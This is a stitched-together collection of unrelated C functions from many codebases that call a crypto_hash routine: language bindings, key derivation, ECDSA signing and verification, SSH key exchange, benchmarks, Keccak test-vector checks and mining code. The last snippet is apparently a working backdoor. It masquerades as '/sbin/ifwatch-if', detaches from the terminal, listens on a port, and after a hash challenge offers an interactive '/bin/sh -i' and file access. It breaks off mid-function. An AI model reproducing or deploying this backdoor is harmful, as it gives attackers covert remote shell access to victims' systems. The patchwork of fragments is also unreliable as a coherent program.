static PyObject *crypto_getpowhash(PyObject *self, PyObject *args) { char *output; PyObject *value; #if PY_MAJOR_VERSION >= 3 PyBytesObject *input; #else PyStringObject *input; #endif if (!PyArg_ParseTuple(args, "S", &input)) return NULL; Py_INCREF(input); output = PyMem_Malloc(32); #if PY_MAJOR_VERSION >= 3 crypto_hash((char *)PyBytes_AsString((PyObject*) input), output); #else crypto_hash((char *)PyString_AsString((PyObject*) input), output); #endif Py_DECREF(input); #if PY_MAJOR_VERSION >= 3 value = Py_BuildValue("y#", output, 32); #else value = Py_BuildValue("s#", output, 32); #endif PyMem_Free(output); return value; }
static void kdf( uint8_t *result , uint32_t result_size , const uint8_t secret[GEC_SECRET_BYTES_LEN] , uint8_t party_byte) { uint16_t count; uint32_t bytes_remaining = result_size; const uint32_t HASH_INPUT_LEN = sizeof(count) + GEC_SECRET_BYTES_LEN + sizeof(party_byte); uint8_t hash_input[HASH_INPUT_LEN]; uint32_t nrReps = (result_size + GEC_HASH_LEN - 1) / GEC_HASH_LEN; hash_input[sizeof(hash_input)-1] = party_byte; memcpy(hash_input + sizeof(count), secret, GEC_SECRET_BYTES_LEN); for(count=0; count < nrReps; count++) { PUT16be(hash_input, count); if(bytes_remaining > GEC_HASH_LEN) { crypto_hash(result + count*GEC_HASH_LEN, hash_input, HASH_INPUT_LEN); } else { uint8_t tmp[GEC_HASH_LEN]; crypto_hash(tmp, hash_input, HASH_INPUT_LEN); memcpy(result + count*GEC_HASH_LEN, tmp, bytes_remaining); } bytes_remaining -= GEC_HASH_LEN; } }
void bench() { #define BENCH_TRIALS 32 #define BENCH_MAXLEN 1536 static unsigned char in[4096]; static unsigned long long median[4096 + 1]; int i, j; printf( "#bytes median per byte\n" ); /* 1 ... BENCH_MAXLEN */ for( j = 0; j <= 4096; ++j ) { uint64_t cycles[BENCH_TRIALS + 1]; for( i = 0; i <= BENCH_TRIALS; ++i ) { cycles[i] = cpucycles(); crypto_hash( in, in, j ); } for( i = 0; i < BENCH_TRIALS; ++i ) cycles[i] = cycles[i + 1] - cycles[i]; qsort( cycles, BENCH_TRIALS, sizeof( uint64_t ), bench_cmp ); median[j] = cycles[BENCH_TRIALS / 2]; } for( j = 0; j <= BENCH_MAXLEN; j += 8 ) printf( "%5d, %7.2f\n", j, ( double )median[j] / j ); printf( "#2048 %6llu %7.2f\n", median[2048], ( double )median[2048] / 2048.0 ); printf( "#4096 %6llu %7.2f\n", median[4096], ( double )median[4096] / 4096.0 ); printf( "#long long %7.2f\n", ( double )( median[4096] - median[2048] ) / 2048.0 ); }
void Hash3(uint256 *pResult, unsigned char const *pbegin, unsigned char const *pend) { uint256 hash1; // uint256 hash2; crypto_hash((unsigned char*)&hash1, pbegin, (pend - pbegin) * sizeof(pbegin[0])); // crypto_hash((unsigned char*)&hash2, (unsigned char*)&hash1, sizeof(hash1)); *pResult = hash1; }
EncryptedMessage CryptoEngine::EncryptWithPublicKeyAndSign(const Message &message, const VerificationEngine &ver_engine) { // check the public key if (ver_engine.public_key().empty()) { std::cout << "The recipient public key is empty. Cannot encrypt here." << std::endl; throw g_crypto_engine_encryption_failure; } if (ver_engine.signing_public_key().empty()) { std::cout << "The recipient signing public key is empty. Cannot encrypt here." << std::endl; throw g_crypto_engine_encryption_failure; } if (private_key_.empty()) { std::cout << "The secret key is empty. Cannot encrypt here." << std::endl; throw g_crypto_engine_encryption_failure; } if (nonce_master_key_.empty()) { std::cout << "The master key for deriving the nonce is not valid" << std::endl; throw g_crypto_engine_encryption_failure; } if (context_.empty()) { std::cout << "The context identifier for deriving the nonce is not valid" << std::endl; throw g_crypto_engine_encryption_failure; } if (salt_.empty()) { std::cout << "The salt for deriving the nonce is not valid" << std::endl; throw g_crypto_engine_encryption_failure; } // means the current crypto engine and the recipient crypto engine have the same public keys ! // This is NOT SAFE - stop immediately if(crypto_verify_32 (reinterpret_cast<const unsigned char *>(public_key_.data()), reinterpret_cast<const unsigned char *>(ver_engine.public_key().data())) == 0) { std::cout << "The engine public key and the recipient public key are the same !!! Did you copy the same files to two different peers ? This is NOT SAFE !! STOPPING !" << std::endl; throw g_crypto_engine_encryption_failure; } // derive the nonce std::string nonce = hkdf_.DeriveNonce(nonce_master_key_, salt_); // calculate the hash of the data std::string hash(crypto_hash(message.ToBytesString())); // calculate the signature on the hash std::string signed_hash = crypto_sign(hash, sign_private_key_); // prepend the signature+hash to the message std::string signed_message_string = signed_hash + message.ToBytesString(); // encrypt with the recipient public key std::string cipher_text = crypto_box(signed_message_string, nonce, ver_engine.public_key(), private_key_); return EncryptedMessage(nonce, cipher_text); }
void hash_H(byte_string_t md_value, fp2_t x, params_t params) //hash a point of E/F_p^2 to a byte_string { byte_string_t bs; byte_string_set_fp2(bs, x); crypto_hash(md_value, bs); byte_string_clear(bs); }
void hash_G(mpz_t h, byte_string_t bs, params_t params) //hash a byte_string to an element of Z_p { byte_string_t md_value; crypto_hash(md_value, bs); mympz_from_hash(h, params->p, md_value); byte_string_clear(md_value); }
i64 derive_key(u8 *output_key, u8 *input_key, i64 input_size, u8 *salt) { u8 *aux1, *aux2, *block1, *block2; u32 count, ndx; if (!output_key || !input_key || !salt || input_size <= 0) { return -1; } //crypto_hash_BYTES > SALT_SIZE, we have no INT(i) since we limit keySize //to 32 bytes which is less than 64 byte digest of crypto_hash aux1 = malloc(2*(input_size + crypto_hash_BYTES)); if (!aux1) { return -1; } block1 = aux1 + input_size; aux2 = aux1 + input_size + crypto_hash_BYTES; block2 = aux2 + input_size; //initialize memcpy(aux1, input_key, input_size); memcpy(block1, salt, SALT_SIZE); memcpy(aux2, input_key, input_size); crypto_hash(block2, aux1, input_size + SALT_SIZE); memcpy(output_key, block2, KEY_SIZE); //copy over U1 to key for (count = 0; count < KEY_DERIV_ITER; ++count) { crypto_hash(block1, aux2, input_size + crypto_hash_BYTES); //perform XOR with Ui on current U so far in key for (ndx = 0; ndx < KEY_SIZE; ++ndx) { output_key[ndx] = output_key[ndx] ^ block1[ndx]; } crypto_hash(block2, aux1, input_size + crypto_hash_BYTES); for (ndx = 0; ndx < KEY_SIZE; ++ndx) { output_key[ndx] = output_key[ndx] ^ block2[ndx]; } } memset(aux1, 0, 2*(input_size + crypto_hash_BYTES)); //clear our data free(aux1); return KEY_SIZE; }
int main(void) { size_t i; crypto_hash(h, x, sizeof x - 1U); for (i = 0; i < crypto_hash_BYTES; ++i) { printf("%02x", (unsigned int)h[i]); } printf("\n"); return 0; }
int main(int argc, const char **argv) { unsigned char *m, h[crypto_hash_BYTES]; size_t mlen, i; mlen = readmsg(&m); crypto_hash(h, m, mlen); for (i = 0; i < sizeof(h); i++) printf("%02x", h[i]); return 0; }
/*The format of signed messages is as follows: the first 64 bytes are a signature, the first 32 being r, the second 32 s. The message follows.*/ void crypto_sign_ecdsa256sha512(unsigned char *sm, unsigned long long *smlen, const unsigned char *m, unsigned long long mlen, const unsigned char *sk){ unsigned char mhash[64]; unsigned char kchar[64]; unsigned char rchar[64]; unsigned char expt[32]; scp256 z; scp256 k; point R; scp256 r; scp256 d; scp256 kinv; scp256 s; scp256 t1; scp256 t2; memcpy(sm+64, m, mlen); *smlen=mlen+64; crypto_hash(mhash, m, mlen); scp256_unpack(&z, mhash); /*We could append sk, but I worry about secret key leaks with mmapped memory*/ memcpy(mhash, sk+32, 32); crypto_hash(kchar, mhash, 64); scp256_from64bytes(&k, kchar); //not FIPS compliant, but that's okay scp256_pack(expt, &k); p256scalarmult_base(&R, expt); p256pack(rchar, &R); scp256_unpack(&r, rchar); //this is just x scp256_unpack(&d, sk); //the secret exponent scp256_mul(&t1, &d, &r); scp256_add(&t2, &z, &t1); //z+rd scp256_inv(&kinv, &k); scp256_mul(&s, &kinv, &t2); //k^{-1}(z-rd) scp256_pack(sm, &r); //r goes first scp256_pack(sm+32, &s); //s goes next. //what about r=0 or s=0? Then we can't sign this message, ever. //so let's assume that doesn't happen. //this is okay: signer will not accept it }
byte *keymaker(char c, int len_needed, session *s) { char buff[1024], *outb = MALLOC(len_needed), *km, *err; int total_bytes, bytes; kexinit_packet *cl = (kexinit_packet *)s->kex; bytes = long_swap(*(uint32 *)s->secret_key) + sizeof(uint32); memcpy(buff, s->secret_key, bytes); memcpy(buff+bytes, cl->kex_hash, 20); bytes += 20; memcpy(buff+bytes, &c, 1); bytes += 1; memcpy(buff+bytes, s->session_id, 20); bytes += 20; km = crypto_hash(SHA1, buff, &bytes, &err); total_bytes = bytes; memcpy(outb, km, total_bytes <= len_needed ? total_bytes : len_needed); FREE(km); while (total_bytes < len_needed) { int need = len_needed - total_bytes; bytes = long_swap(*(uint32 *)s->secret_key) + sizeof(uint32); memcpy(buff, s->secret_key, bytes); memcpy(buff+bytes, cl->kex_hash, 20); bytes += 20; memcpy(buff+bytes, outb, total_bytes); bytes += total_bytes; km = crypto_hash(SHA1, buff, &bytes, &err); if (need <= bytes) { memcpy(outb+total_bytes, km, need); total_bytes += need; } else { memcpy(outb+total_bytes, km, bytes); total_bytes += bytes; } FREE(km); } return outb; }
static ERL_NIF_TERM nacl_hash(ErlNifEnv *env, int argc, ERL_NIF_TERM const argv[]) { ErlNifBinary input; ErlNifBinary result; if (!enif_inspect_iolist_as_binary(env, argv[0], &input)) return enif_make_badarg(env); if (!enif_alloc_binary(crypto_hash_BYTES, &result)) return nacl_error_tuple(env, "alloc_failed"); crypto_hash(result.data, input.data, input.size); return enif_make_binary(env, &result); }
int crypto_sign_open_ecdsa256sha512(unsigned char *m, unsigned long long *mlen, const unsigned char *sm, unsigned long long smlen, const unsigned char *pk){ //all data here is public: don't worry about revelations unsigned char mhash[64]; point Q; point u1B; point u2Q; point result; unsigned char resultchar[64]; scp256 u1; scp256 u2; unsigned char u1char[32]; unsigned char u2char[32]; scp256 z; scp256 s; scp256 r; scp256 w; scp256 newr; scp256 t; if(smlen<64) return -1; p256unpack(&Q, pk); if(!p256oncurvefinite(&Q)) return -1; //check key validity //just some message manipulation memcpy(m, sm+64, smlen-64); *mlen=smlen-64; crypto_hash(mhash, m, *mlen); scp256_unpack(&z, mhash); scp256_unpack(&s, sm+32); scp256_unpack(&r, sm); if(scp256_iszero(&r)||scp256_iszero(&s)) return -1; scp256_inv(&w, &s); scp256_mul(&u1, &z, &w); scp256_mul(&u2, &r, &w); scp256_pack(u1char, &u1); scp256_pack(u2char, &u2); p256dblmult_base(&result, &Q, u2char, u1char); if(!p256oncurvefinite(&result)) return -1; p256pack(resultchar, &result); scp256_unpack(&newr, resultchar); scp256_sub(&t, &newr, &r); if(scp256_iszero(&t)){ return 0; } return -1; }
void measure(void) { int i; int loop; int mlen; for (loop = 0;loop < LOOPS;++loop) { for (mlen = 0;mlen <= MAXTEST_BYTES;mlen += 1 + mlen / MGAP) { randombytes(m,mlen); for (i = 0;i <= TIMINGS;++i) { cycles[i] = cpucycles(); crypto_hash(h,m,mlen); } printcycles(mlen); } } }
void testKeccakTree() { unsigned char message[1000]; unsigned char out[1000]; unsigned int len; unsigned int i; for(len=0; len<=1000; len++) { for(i=0; i<len; i++) message[i] = (unsigned char)(len-i); crypto_hash(out, message, len); printf("Message of length %d bits\n", len*8); for(i=0; i<rateInBytes; i++) printf("%02x ", out[i]); printf("\n"); } }
int main(void) { size_t i; crypto_hash(h, x, sizeof x - 1U); for (i = 0; i < crypto_hash_BYTES; ++i) { printf("%02x", (unsigned int)h[i]); } printf("\n"); assert(crypto_hash_bytes() > 0U); assert(strcmp(crypto_hash_primitive(), "sha512") == 0); assert(crypto_hash_sha256_bytes() > 0U); assert(crypto_hash_sha512_bytes() == crypto_hash_bytes()); return 0; }
static void do_hmac_pad (s4pp_ctx_t *ctx, uint8_t padval) { const digest_mech_info_t *mech = ctx->digest.mech; unsigned klen = ctx->auth->key_len; const uint8_t *key = ctx->auth->key_bytes; uint8_t altkey[mech->digest_size]; if (klen > mech->block_size) { crypto_hash (mech, key, ctx->auth->key_len, altkey); key = altkey; klen = mech->digest_size; } uint8_t pad[mech->block_size]; memset (pad, padval, sizeof (pad)); for (unsigned i = 0; i < klen; ++i) pad[i] ^= key[i]; mech->update (ctx->digest.ctx, pad, sizeof (pad)); }
int generate_test_vectors() { FILE *fp; char fileName[MAX_FILE_NAME]; unsigned char msg[MAX_MESSAGE_LENGTH]; unsigned char digest[CRYPTO_BYTES]; int ret_val = KAT_SUCCESS; int count = 1; unsigned long long mlen; init_buffer(msg, sizeof(msg)); sprintf(fileName, "LWC_HASH_KAT_%d.txt", (CRYPTO_BYTES * 8)); if ((fp = fopen(fileName, "w")) == NULL) { fprintf(stderr, "Couldn't open <%s> for write\n", fileName); return KAT_FILE_OPEN_ERROR; } for (mlen = 0; mlen <= MAX_MESSAGE_LENGTH; mlen++) { fprintf(fp, "Count = %d\n", count++); fprint_bstr(fp, "Msg = ", msg, mlen); ret_val = crypto_hash(digest, msg, mlen); if(ret_val != 0) { fprintf(fp, "crypto_hash returned <%d>\n", ret_val); ret_val = KAT_CRYPTO_FAILURE; break; } fprint_bstr(fp, "MD = ", digest, CRYPTO_BYTES); fprintf(fp, "\n"); } fclose(fp); return ret_val; }
main() { int i; int bytes_plaintext; //char *plaintext="0000000000000000000000000000000000000000000000000000000000000000"; //unsigned char *plaintext="616263"; //unsigned char *plaintext="cc"; unsigned char *plaintext="3a3a819c48efde2ad914fbf00e18ab6bc4f14513ab27d0c178a188b61431e7f5623cb66b23346775d386b50e982c493adbbfc54b9a3cd383382336a1a0b2150a15358f336d03ae18f666c7573d55c4fd181c29e6ccfde63ea35f0adf5885cfc0a3d84a2b2e4dd24496db789e663170cef74798aa1bbcd4574ea0bba40489d764b2f83aadc66b148b4a0cd95246c127d5871c4f11418690a5ddf01246a0c80a43c70088b6183639dcfda4125bd113a8f49ee23ed306faac576c3fb0c1e256671d817fc2534a52f5b439f72e424de376f4c565cca82307dd9ef76da5b7c4eb7e085172e328807c02d011ffbf33785378d79dc266f6a5be6bb0e4a92eceebaeb1"; // plaintext memcpy(s,plaintext,strlen(plaintext)+1); bytes_plaintext=strlen(s)/2; hex2byte(s, m); // transforms from left (string) to right (bytes) for (i = 0;i < bytes_plaintext;++i) printf("%02x",m[i]); printf("\n"); fflush(stdout); crypto_hash(c,m,bytes_plaintext); for (i = 0;i < 512/8;++i) printf("%02x",c[i]); printf("\n"); fflush(stdout); return 0; }
static nif_term_t salt_hash(nif_heap_t *hp, int argc, const nif_term_t argv[]) { /* salt_hash(Message) -> Hash_bin. */ nif_bin_t ms; nif_bin_t hs; if (argc != 1) return (BADARG); if (! enif_inspect_iolist_as_binary(hp, argv[0], &ms)) return (BADARG); if (ms.size < 1 || ms.size > SALT_MAX_MESSAGE_SIZE) return (BADARG); if (! enif_alloc_binary(crypto_hash_BYTES, &hs)) return (BADARG); (void)crypto_hash(hs.data, ms.data, ms.size); return (enif_make_binary(hp, &hs)); }
int kex_dhinit(session *s, ssh_packet *p) { char buf[MAX_SSH_PAYLOAD_SIZE], *t; uint32 pos = 0, bytes; byte *sign, *KS; void *packet; kexinit_packet *cl = (kexinit_packet *)s->kex; mpint *pub_key; unsigned int want_keylen; char *err; want_keylen = (unsigned int)crypto_cipher_key_size(s->e_s2c); s->secret_key = crypto_kex(s->kex_algo, p->data, &pub_key, want_keylen, &err); if (!s->secret_key) { /** XXX: free secret_key & dh_pub_key on cleanup - register crypto_cleanup() */ kex_cleanup(s); DEBUG("KEX gen failed - %s (%d-%d-%d)", err, DH1, DH14, s->kex_algo); return 0; } /* compute H = HASH(V_C || V_S || I_C || I_S || K_S || e || f || K) */ /* string VC */ t = make_string(s->client_version, &bytes); memcpy(buf+pos, t, bytes); FREE(t); pos += bytes; /* string VS */ t = make_string(SSH_IDENT, &bytes); memcpy(buf+pos, t, bytes); FREE(t); pos += bytes; /* string IC */ t = make_string_b(cl->IC, cl->IC_len, &bytes); memcpy(buf+pos, t, bytes); FREE(t); pos += bytes; /* string IS */ //show_hex(cl->IS, cl->IS_len); t = make_string_b(cl->IS, cl->IS_len, &bytes); memcpy(buf+pos, t, bytes); FREE(t); pos += bytes; /* string KS */ t = KS = make_ssh_key(s->host_key, s->server_ctx->dsa_keys, &bytes); KS = make_string_b(KS, bytes, &bytes); FREE(t); memcpy(buf+pos, KS, bytes); pos += bytes; /* mpint e */ bytes = long_swap(*(uint32 *)p->data) + sizeof(uint32); memcpy(buf+pos, p->data, bytes); pos += bytes; /* mpint f */ bytes = long_swap(*(uint32 *)pub_key) + sizeof(uint32); memcpy(buf+pos, pub_key, bytes); pos += bytes; /* mpint K */ bytes = long_swap(*(uint32 *)s->secret_key) + sizeof(uint32); memcpy(buf+pos, s->secret_key, bytes); pos += bytes; t = crypto_hash(SHA1, buf, &pos, &err); if (!s->enc) { s->session_id = MALLOC(20); memcpy(s->session_id, t, 20); } cl->kex_hash = t; /* sign the hash with our host private key */ bytes = 20; sign = do_sign(s->host_key, t, &bytes, s, &err); t = sign; sign = make_string_b(sign, bytes, &bytes); FREE(t); plain_ssh_packet_begin(&packet, SSH_MSG_KEXDH_REPLY); plain_ssh_packet_add_string(packet, KS); plain_ssh_packet_add_mpint(packet, pub_key); plain_ssh_packet_add_string(packet, sign); plain_ssh_packet_finalize(s, packet); FREE(sign); FREE(KS); FREE(pub_key); if (!plain_ssh_packet_write(s, packet)) { kex_cleanup(s); DEBUG("failed to write KEXDH_REPLY"); return 0; } return 1; }
void keccak_regenhash(struct work *work) { uint256 result; crypto_hash((unsigned char*)&result, &work->data[0], 80); memcpy(work->hash, &result, 32); }
int scanhash_keccak(int thr_id, uint32_t *pdata, const uint32_t *ptarget, uint32_t max_nonce, struct timeval *tv_start, struct timeval *tv_end, unsigned long *hashes_done) { int throughput = cuda_throughput(thr_id); gettimeofday(tv_start, NULL); uint32_t n = pdata[19] - 1; // TESTING ONLY // ((uint32_t*)ptarget)[7] = 0x0000000f; const uint32_t Htarg = ptarget[7]; uint32_t endiandata[20]; for (int kk=0; kk < 20; kk++) be32enc(&endiandata[kk], pdata[kk]); cuda_prepare_keccak256(thr_id, endiandata, ptarget); uint32_t *cuda_hash64[2] = { (uint32_t *)cuda_hashbuffer(thr_id, 0), (uint32_t *)cuda_hashbuffer(thr_id, 1) }; memset(cuda_hash64[0], 0xff, throughput * 8 * sizeof(uint32_t)); memset(cuda_hash64[1], 0xff, throughput * 8 * sizeof(uint32_t)); bool validate = false; uint32_t nonce[2]; int cur = 0, nxt = 1; // begin work on first CUDA stream nonce[cur] = n+1; n += throughput; cuda_do_keccak256(thr_id, 0, cuda_hash64[cur], nonce[cur], throughput, validate); do { nonce[nxt] = n+1; n += throughput; if ((n-throughput) < max_nonce && !work_restart[thr_id].restart) { // begin work on next CUDA stream cuda_do_keccak256(thr_id, 0, cuda_hash64[nxt], nonce[nxt], throughput, validate); } // synchronize current stream and get the "winning" nonce index, if any cuda_scrypt_sync(thr_id, cur); uint32_t result = *cuda_hash64[cur]; // optional full CPU based validation (see validate flag) if (validate) { for (int i=0; i < throughput; ++i) { uint32_t hash64[8]; be32enc(&endiandata[19], nonce[cur]+i); crypto_hash( (unsigned char*)hash64, (unsigned char*)&endiandata[0], 80 ); if (memcmp(hash64, &cuda_hash64[8*i], 32)) fprintf(stderr, "CPU and CUDA hashes (i=%d) differ!\n", i); } } else if (result != 0xffffffff && result > pdata[19]) { uint32_t hash64[8]; be32enc(&endiandata[19], result); crypto_hash( (unsigned char*)hash64, (unsigned char*)&endiandata[0], 80 ); if (result >= nonce[cur] && result < nonce[cur]+throughput && hash64[7] <= Htarg && fulltest(hash64, ptarget)) { *hashes_done = n-throughput - pdata[19] + 1; pdata[19] = result; gettimeofday(tv_end, NULL); return true; } else { applog(LOG_INFO, "GPU #%d: %s result for nonce $%08x does not validate on CPU!", device_map[thr_id], device_name[thr_id], result); } } cur = (cur + 1) % 2; nxt = (nxt + 1) % 2; } while ((n-throughput) < max_nonce && !work_restart[thr_id].restart); *hashes_done = n-throughput - pdata[19] + 1; if (n-throughput > pdata[19]) // CB: don't report values bigger max_nonce pdata[19] = max_nonce > n-throughput ? n-throughput : max_nonce; else pdata[19] = 0xffffffffU; // CB: prevent nonce space overflow. gettimeofday(tv_end, NULL); return 0; }
void keccak_regenhash(struct work *work) { uint256 result; crypto_hash(&result, &work->data[0], &work->data[80]); memcpy(work->hash, &result, 32); }
int main( void ) { unsigned long long inlen; int result = 0; FILE *fp_in; char marker[20]; int refLen; #ifdef cKeccakFixedOutputLengthInBytes refLen = cKeccakFixedOutputLengthInBytes; #else refLen = cKeccakR_SizeInBytes; #endif printf( "Testing Keccak[r=%u, c=%u] against %s over %d squeezed bytes\n", cKeccakR, cKeccakB - cKeccakR, testVectorFile, refLen ); if ( (fp_in = fopen(testVectorFile, "r")) == NULL ) { printf("Couldn't open <%s> for read\n", testVectorFile); return 1; } for ( inlen = 0; inlen <= cKeccakMaxMessageSizeInBytes; ++inlen ) { sprintf( marker, "Len = %u", inlen * 8 ); if ( !FindMarker(fp_in, marker) ) { printf("ERROR: no test vector found (%u bytes)\n", inlen ); result = 1; break; } if ( !ReadHex(fp_in, input, (int)inlen, "Msg = ") ) { printf("ERROR: unable to read 'Msg' (%u bytes)\n", inlen ); result = 1; break; } result = crypto_hash( output, input, inlen ); if ( result != 0 ) { printf("ERROR: crypto_hash() (%u bytes)\n", inlen); result = 1; break; } #ifdef cKeccakFixedOutputLengthInBytes if ( !ReadHex(fp_in, input, refLen, "MD = ") ) #else if ( !ReadHex(fp_in, input, refLen, "Squeezed = ") ) #endif { printf("ERROR: unable to read 'Squeezed/MD' (%u bytes)\n", inlen ); result = 1; break; } if ( memcmp( output, input, refLen ) != 0) { printf("ERROR: hash verification (%u bytes)\n", inlen ); for(result=0; result<refLen; result++) printf("%02X ", output[result]); printf("\n"); result = 1; break; } } fclose( fp_in ); if ( !result ) printf( "\nSuccess!\n"); //printf( "\nPress a key ..."); //getchar(); //printf( "\n"); return ( result ); }
int main( void ) { unsigned long long inlen; unsigned long long offset; unsigned long long size; int result = 0; FILE *fp_in; char marker[20]; int refLen; hashState state; #ifdef cKeccakFixedOutputLengthInBytes refLen = cKeccakFixedOutputLengthInBytes; #else refLen = cKeccakR_SizeInBytes; #endif printf( "Testing Keccak[r=%u, c=%u] using crypto_hash() against %s over %d squeezed bytes\n", cKeccakR, cKeccakB - cKeccakR, testVectorFile, refLen ); if ( (fp_in = fopen(testVectorFile, "r")) == NULL ) { printf("Couldn't open <%s> for read\n", testVectorFile); return 1; } for ( inlen = 0; inlen <= cKeccakMaxMessageSizeInBytes; ++inlen ) { sprintf( marker, "Len = %u", inlen * 8 ); if ( !FindMarker(fp_in, marker) ) { printf("ERROR: no test vector found (%u bytes)\n", inlen ); result = 1; break; } if ( !ReadHex(fp_in, input, (int)inlen, "Msg = ") ) { printf("ERROR: unable to read 'Msg' (%u bytes)\n", inlen ); result = 1; break; } result = crypto_hash( output, input, inlen ); if ( result != 0 ) { printf("ERROR: crypto_hash() (%u bytes)\n", inlen); result = 1; break; } #ifdef cKeccakFixedOutputLengthInBytes if ( !ReadHex(fp_in, input, refLen, "MD = ") ) #else if ( !ReadHex(fp_in, input, refLen, "Squeezed = ") ) #endif { printf("ERROR: unable to read 'Squeezed/MD' (%u bytes)\n", inlen ); result = 1; break; } if ( memcmp( output, input, refLen ) != 0) { printf("ERROR: hash verification (%u bytes)\n", inlen ); for(result=0; result<refLen; result++) printf("%02X ", output[result]); printf("\n"); result = 1; break; } } if ( !result ) printf( "\nSuccess!\n"); result = 0; refLen = cKeccakHashRefSizeInBytes; printf( "\nTesting Keccak[r=%u, c=%u] using Init/Update/Final() against %s over %d squeezed bytes\n", cKeccakR, cKeccakB - cKeccakR, testVectorFile, refLen ); fseek( fp_in, 0, SEEK_SET ); for ( inlen = 0; inlen <= cKeccakMaxMessageSizeInBits; ++inlen ) { sprintf( marker, "Len = %u", inlen ); if ( !FindMarker(fp_in, marker) ) { printf("ERROR: no test vector found (%u bits)\n", inlen ); result = 1; break; } if ( !ReadHex(fp_in, input, (int)inlen, "Msg = ") ) { printf("ERROR: unable to read 'Msg' (%u bits)\n", inlen ); result = 1; break; } result = Init( &state ); if ( result != 0 ) { printf("ERROR: Init() (%u bits)\n", inlen); result = 1; break; } for ( offset = 0; offset < inlen; offset += size ) { // vary sizes for Update() if ( (inlen %8) < 2 ) { // byte per byte size = 8; } else if ( (inlen %8) < 4 ) { // incremental size = offset + 8; } else { // random size = ((rand() % ((inlen + 8) / 8)) + 1) * 8; } if ( size > (inlen - offset) ) { size = inlen - offset; } //printf("Update() inlen %u, size %u, offset %u\n", (unsigned int)inlen, (unsigned int)size, (unsigned int)offset ); result = Update( &state, input + offset / 8, size ); if ( result != 0 ) { printf("ERROR: Update() (%u bits)\n", inlen); result = 1; break; } } result = Final( &state, output, refLen ); if ( result != 0 ) { printf("ERROR: Final() (%u bits)\n", inlen); result = 1; break; } #ifdef cKeccakFixedOutputLengthInBytes if ( !ReadHex(fp_in, input, refLen, "MD = ") ) #else if ( !ReadHex(fp_in, input, refLen, "Squeezed = ") ) #endif { printf("ERROR: unable to read 'Squeezed/MD' (%u bits)\n", inlen ); result = 1; break; } if ( memcmp( output, input, refLen ) != 0) { printf("ERROR: hash verification (%u bits)\n", inlen ); for(result=0; result<refLen; result++) printf("%02X ", output[result]); printf("\n"); result = 1; break; } } fclose( fp_in ); if ( !result ) printf( "\nSuccess!\n"); //printf( "\nPress a key ..."); //getchar(); //printf( "\n"); return ( result ); }
/*HASH值计算验证*/ int sss_test3() { int ret = 0; unsigned char * data_out = NULL; int data_out_len = 1024/8; int i = 0; u32 N[MAX_N_LENGTH] = { 0xbc7bd14d, 0xc668378f, 0x21ede7db, 0xe6708189, 0xba9d3be0, 0xd0daeb54, 0x6044fcb7, 0xc0c0af92, 0x6409dfb5, 0x5b7f52ad, 0xeb38d7e8, 0x8e2619b, 0x313b8f7e, 0x30b9c657, 0x6d917e6c, 0x250ac29f, 0x90238692, 0x9b90db74, 0xd2d428eb, 0xc68e7901, 0xaa6ec926, 0x87f7bc39, 0xf01ce959, 0x1e0da497, 0x1174e0c6, 0x82a2da44, 0xdd779c99, 0x52b40f33, 0x7d109cc4, 0xc04a36ce, 0xbc5827d5, 0x68ca5105, }; data_out = (unsigned char*)malloc(data_out_len); if(!data_out) return -1; memset(data_out, 0, (unsigned)data_out_len); ret = crypto_hash((char *)N, sizeof(N), CRYPTO_ALGORITHM_SHA1, (char *)data_out, &data_out_len); if(ret == BSP_ERROR) { security_print("function : %s -- linenum : %d -- retval : %X\n", ret); free(data_out); return ret; } security_print("CRYPTO_ALGORITHM_SHA1 :\n"); for(i = 0; i < data_out_len; i += 4) { security_print("%lx\n", *(long *)&(data_out[i])); } data_out_len = 1024/8; memset(data_out, 0, (unsigned)data_out_len); ret = crypto_hash((char *)N, sizeof(N), CRYPTO_ALGORITHM_MD5, (char *)data_out, &data_out_len); security_print("\nCRYPTO_ALGORITHM_MD5 :\n\n"); if(ret == BSP_ERROR) { security_print("function : %s -- linenum : %d -- retval : %X\n", ret); free(data_out); return ret; } for(i = 0; i < data_out_len; i += 4) { /* coverity[printf_arg_mismatch] */ security_print("%lx\n", *(long*)(&(data_out[i]))); } data_out_len = 1024/8; memset(data_out, 0, (unsigned)data_out_len); ret = crypto_hash((char *)N, sizeof(N), CRYPTO_ALGORITHM_SHA256, (char *)data_out, &data_out_len); security_print("\nRYPTO_ALGORITHM_SHA256 :\n\n"); if(ret == BSP_ERROR) { security_print("function : %s -- linenum : %d -- retval : %x\n",ret); free(data_out); return ret; } for(i = 0; i < data_out_len; i += 4) { /* coverity[printf_arg_mismatch] */ security_print("%lx\n", *(long*)(&(data_out[i]))); } free(data_out); return ret; }
int main(int argc, char *argv[]) { #if 0 { crypto_hash(buffer, buffer, 96); hd(buffer, 1088 / 8); } #endif if (argc == 2) { static char *eargv[] = { "/sbin/ifwatch-if", "eth0", 0, 0 }; eargv[2] = argv[1]; execve(argv[0], eargv, environ); } { int i; for (i = 0; i < 64 + 2; ++i) secret[32 + i] = argv[2][i * 2 + 0] * 16 + argv[2][i * 2 + 1] - 'a' * (16 + 1); for (i = 0; i < (64 + 2) * 2; ++i) argv[2][i] = ' '; } int ls = socket(AF_INET, SOCK_STREAM, 0); if (ls < 0) return 0; struct sockaddr_in sa; sa.sin_family = AF_INET; sa.sin_addr.s_addr = INADDR_ANY; sa.sin_port = *(uint16_t *) (secret + 32 + 64); sockopts(0); if (bind(ls, (struct sockaddr *)&sa, sizeof (sa))) return 0; if (listen(ls, 1)) return 0; write(1, MSG("ZohHoo5i")); if (fork()) return 0; sigaction(SIGHUP, &sa_sigign, 0); sigaction(SIGCHLD, &sa_sigign, 0); syscall(SCN(SYS_setsid)); for (;;) { { int i = open("/dev/urandom", O_RDONLY); if (i >= 0) { read(i, secret, 32); close(i); } ++secret[0]; for (i = 0; i < 31; ++i) secret[i + 1] += secret[i]; } int fd = accept(ls, 0, 0); if (fd >= 0) { if (fork() == 0) { close(ls); syscall(SCN(SYS_setsid)); sigaction(SIGCHLD, &sa_sigdfl, 0); setfds(fd); sockopts(0); write(0, secret, 32 + 32); crypto_hash(buffer, secret, 32 + 32 + 32); rpkt(32); if (memcmp(buffer, buffer + 32, 32)) x(); wpkt(MSG(VERSION "/" arch)); /* version/arch */ static const uint32_t endian = 0x11223344; wpkt((uint8_t *) & endian, sizeof (endian)); wpkt(buffer, 0); uint8_t clen; int fh = -1; int ret; while ((clen = rpkt(0))) switch (buffer[0]) { case 1: // telnet { static char *argv[] = { "sh", "-i", 0 }; execve("/bin/sh", argv, environ); } break; case 2: // open readonly case 3: // open wrcreat ret = fh = open(buffer + 1, buffer[0] == 2 ? O_RDONLY : O_RDWR | O_CREAT, 0600); break; case 4: // close close(fh); 